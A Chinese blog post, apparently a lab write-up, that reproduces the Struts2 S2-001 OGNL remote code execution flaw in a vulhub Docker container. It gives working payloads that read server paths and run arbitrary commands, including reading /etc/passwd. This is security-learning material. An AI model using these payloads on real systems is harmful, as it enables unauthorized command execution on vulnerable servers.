前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >S2-001远程代码执行复现

S2-001远程代码执行复现

作者头像
LuckySec
发布2022-11-02 14:23:58
7010
发布2022-11-02 14:23:58
举报
文章被收录于专栏:LuckySec网络安全

0x01 漏洞简介

S2-001漏洞是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

  • 影响版本Struts 2.0.0-2.0.8

0x02 靶场搭建

使用vulhub复现漏洞环境相当方便,Giuhub上下载漏洞环境太慢,建议去码云上下载。

代码语言:javascript
复制
cd vulhub/struts2/s2-001
docker-compose build
docker-compose up -d

0x03 漏洞检测

Struts2 漏洞检测工具

使用工具检测 s2-001 漏洞

代码语言:javascript
复制
python3 Struts2Scan.py -u http://172.17.0.1:8080/index.action

0x04 漏洞利用

直接在输入框输入payload点击提交,页面会返回响应的执行结果。

1、获取tomcat执行路径:

代码语言:javascript
复制
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

2、获取Web路径:

代码语言:javascript
复制
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

3、执行任意命令:

  • 单个命令格式:new java.lang.String[]{"pwd"}
  • 命令+参数格式:new java.lang.String[]{"cat","/etc/passwd"}

只需要在以下payload中找到上述代码,修改要执行的命令格式即可。

代码语言:javascript
复制
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 漏洞简介
  • 0x02 靶场搭建
  • 0x03 漏洞检测
  • 0x04 漏洞利用
  • 参考文章
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档